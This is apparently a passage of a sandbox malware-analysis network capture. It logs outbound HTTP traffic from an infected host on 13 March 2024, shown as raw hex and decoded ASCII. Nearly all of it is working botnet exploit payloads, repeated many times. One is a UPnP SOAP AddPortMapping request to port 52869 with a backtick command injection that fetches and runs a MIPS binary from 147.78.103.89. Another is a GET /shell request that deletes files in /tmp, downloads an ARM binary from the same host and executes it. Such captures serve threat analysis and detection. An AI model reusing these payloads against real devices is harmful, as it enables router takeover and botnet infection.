39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:29:21.462683916 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      166192.168.2.1550550103.199.247.1755501
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:28:55.480947971 CET261OUTGET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1
                                                      User-Agent: Hello, world
                                                      Host: 127.0.0.1:80
                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
                                                      Connection: keep-alive
                                                      Mar 13, 2024 16:28:59.703299999 CET261OUTGET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1
                                                      User-Agent: Hello, world
                                                      Host: 127.0.0.1:80
                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
                                                      Connection: keep-alive
                                                      Mar 13, 2024 16:29:05.847105026 CET261OUTGET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1
                                                      User-Agent: Hello, world
                                                      Host: 127.0.0.1:80
                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
                                                      Connection: keep-alive
                                                      Mar 13, 2024 16:29:17.878787041 CET261OUTGET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1
                                                      User-Agent: Hello, world
                                                      Host: 127.0.0.1:80
                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
                                                      Connection: keep-alive


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      167192.168.2.155767645.192.247.052869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:28:55.816304922 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:57.687386990 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:59.959342003 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:29:04.567222118 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:29:13.526947021 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
